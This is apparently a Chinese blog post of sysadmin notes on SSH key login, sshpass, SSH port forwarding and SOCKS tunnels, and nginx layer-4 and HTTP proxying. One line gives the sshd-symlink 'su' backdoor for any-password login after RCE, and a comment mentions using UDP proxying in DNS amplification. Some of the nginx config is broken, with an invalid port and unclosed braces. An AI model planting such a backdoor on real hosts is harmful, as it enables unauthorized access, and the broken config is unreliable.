sshd 端口转发和nginx 4层代理 + 协议转发

ssh 密码登录 密钥登录 免密登录

免密登录

在客户端使用ssh-keygen生成一对密钥:公钥+私钥
   # ssh-keygen -t rsa 将会生成密钥文件和私钥文件 id_rsa,id_rsa.pub或id_dsa,id_dsa.pub
将客户端公钥追加到服务端的authorized_key文件中,完成公钥认证操作
   #  cat id_dsa.pub >> ~/.ssh/authorized_keys 
   #  设置.ssh目录权限
   # chmod 700 -R .ssh  
   #  设置authorized_keys权限
   # chmod 600 authorized_keys 
   # 公钥 644   私钥 600
   # 要保证.ssh和authorized_keys都只有用户自己有写权限
   # 简单点 使用ssh-copy-id命令 可以把本地主机的公钥复制到远程主机的authorized_keys文件上
   # ssh-copy-id命令也会给远程主机的用户主目录(home)和~/.ssh, 和~/.ssh/authorized_keys设置合适的权限。
认证完成后,客户端向服务端发起登录请求,并传递公钥到服务端
服务端检索authorized_key文件,确认该公钥是否存在
如果存在该公钥,则生成随机数R,并用公钥来进行加密,生成公钥加密字符串pubKey(R)
将公钥加密字符串传递给客户端
客户端使用私钥解密公钥加密字符串,得到R
服务端和客户端通信时会产生一个会话ID(sessionKey),用MD5对R和SessionKey进行加密,生成摘要(即MD5加密字符串)
客户端将生成的MD5加密字符串传给服务端
服务端同样生成MD5(R,SessionKey)加密字符串
如果客户端传来的加密字符串等于服务端自身生成的加密字符串,则认证成功
此时不用输入密码,即完成建连,可以开始远程执行shell命令了

ssh root@223.5.5.5  "uname -r && lsb_release -a"


-t 强制分配终端  

ssh -t  root@223.5.5.5  "uname -r && lsb_release -a"



将密码作为参数提供

sshpass -p 123456 ssh root@192.168.1.30 "uname -a"


从文本文件中读取密码
 echo "123456" > mypassword.txt
 sshpass -f mypassword.txt ssh root@192.168.1.30 uname -a
 
 sshpass -f mypasswd.txt  ssh -o StrictHostKeyChecking=no  root@223.5.5.5 "vmstat 30"
 

ssh -o 'StrictHostKeyChecking=no' 'root@172.16.0.165'

ssh 的shell 反弹

shell 任意用户密码登录 或者 无密码登录 使用 rce  任意文件获取 均可使用
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=9999


ssh 正向 反向 socket 代理

nohup ssh -o StrictHostKeyChecking=no  -C -f -g -b 0.0.0.0  -L 3306:8.8.8.8:3306 root@8.8.4.4  "vmstat 30"  &
 
信息:
公司主机 100.1  
腾讯云   200.1
目标电脑 300.1


1、公司网络有防火墙 不能直接访问到 目标电脑300.1  
2、腾讯云电脑200.1  可以访问目标电脑300.1  
3、公司主机 100.1   访问腾讯云电脑200.1  ,相当于直接访问目标电脑300.1  

参数

-N 告诉SSH客户端,这个连接不需要执行任何命令。仅仅做端口转发  ,一般不用

-C  进行数据压缩

-f 告诉SSH客户端在后台运行

-g 是允许远端主机连接本地转发端口

-b 0.0.0.0  同时还需要打开SSH服务器端的一个选项-GatewayPorts

保持长时间连接 去掉-N参数,加入一个定期能产生输出的命令。 vmstat 30

nohub  &  后台运行
GatewayPorts yes  开启

-R  表明是将远端主机端口映射到本地端口 ,一般做内网穿透使用

-L  将本地端口映射到远端主机端口。,一般做正向代理使用  数据中转

-D 
注意 执行端口转发的命令时,是以当前的机器作为参照物

本地隧道 -L 转发到远端

ssh -C -f -g -b 0.0.0.0  -L 远端端口:目标IP:目标端口 root@自己中转机器 "vmstat 30 >/dev/null 2>&1" 
                                                   把自己的端口 转发到远端 ,在自己的机器上执行

远程隧道 -R 转发到本地

ssh -C -f -g -b 0.0.0.0  -R 远端端口:本机ip:22   root@远端ip "vmstat 30 >/dev/null 2>&1"
                                               把人家的端口 给自己,在人家的机器上执行   

Socks代理

ssh -N -f  -D 8888 root@自己中转机器

端口转发 和4层代理

egrep -v "#|^$" nginx.conf.default >nginx.conf

4层代理 代理的tcp或者udp协议

# nginx -V确保nginx安装了–with -stream如果没有,重新用yum install nginx -y安装
#  安装 yum -y install epel-release
# yum install nginx-mod-stream -y
# yum -y install nginx-all-modules.noarch
# vi nginx.conf顶部加一行
# load_module /usr/lib64/nginx/modules/ngx_stream_module.so;
# 配置文件中,stream与http在同一级别:




load_module /usr/lib64/nginx/modules/ngx_stream_module.so;
worker_processes  1;
events {
    worker_connections  1024;
}
http {
    include       mime.types;
    default_type  application/octet-stream;
    sendfile        on;
    keepalive_timeout  65;
    server {
        listen       80;
        server_name  localhost;
        location / {
            root   html;
            index  index.html index.htm;
        }
        error_page   500 502 503 504  /50x.html;
        location = /50x.html {
            root   html;
        }
    }
}
stream {
   upstream ssh {
            server 172.16.5.112:22;
            #  默认算法分流 hash ip 轮询 
    }
   server {
       listen 22222;
       proxy_connect_timeout 1h;
       proxy_timeout 1h;
       proxy_pass ssh;      
       #  ssh
  }
    
  upstream http {
            server 172.16.5.112:80;
            #  默认算法分流 hash ip 轮询 
    }
   server {
       listen 80888; 
       # 不仅是tcp 还是可以udp,dns的放大攻击中 可以使用到
       # listen 990 udp;
       proxy_connect_timeout 1h;
       proxy_timeout 1h;
       proxy_pass http;      
       #  http
    } 
    
}


# ---------------- 也可以 单一服务 多个服务
stream {
      server {
       listen 22888;
       proxy_pass 127.0.0.1:22;    
        
       server {
       listen 301;
       proxy_pass 8.8.4.4:53;    

    }


在两个模块中,两个`proxy_pass`都是用来做后端代理的指令。

ngx_stream_proxy_module模块的proxy_pass指令只能在server段使用使用,
 只需要提供域名或ip地址和端口。可以理解为端口转发,可以是tcp端口,也可以是udp端口

ngx_http_proxy_module模块的proxy_pass指令需要在location段,location中的if段,limit_except段中使用,
处理需要提供域名或ip地址和端口外,还需要提供协议,如"http"或"https",还有一个可选的uri可以配置。

http 协议转发

server{
  listen 80;
  server_name  8.8.8.8;
  index  index.php index.html index.htm;

  location / {
    proxy_pass  http://127.0.0.1:8080; # 转发规则
    proxy_set_header Host $proxy_host; # 修改转发请求头,让8080端口的应用可以受到真实的请求  获取客户端ip
    proxy_set_header X-Real-IP $remote_addr; # nginx使用$remote_addr变量时获得的是用户的真实ip 
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; 
    # $proxy_add_x_forwarded_for 变量包含客户端请求头中的 X-Forwarded-For 与 $remote_addr 两部分,也可以获取到用户真实的IP  
  }
}

  location / {
    proxy_pass  http://127.0.0.1:8080;
    proxy_set_header Host $proxy_host;
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; 
  }

posted @ 2023-11-16 16:23  mmszxc  阅读(338)  评论(0)    收藏  举报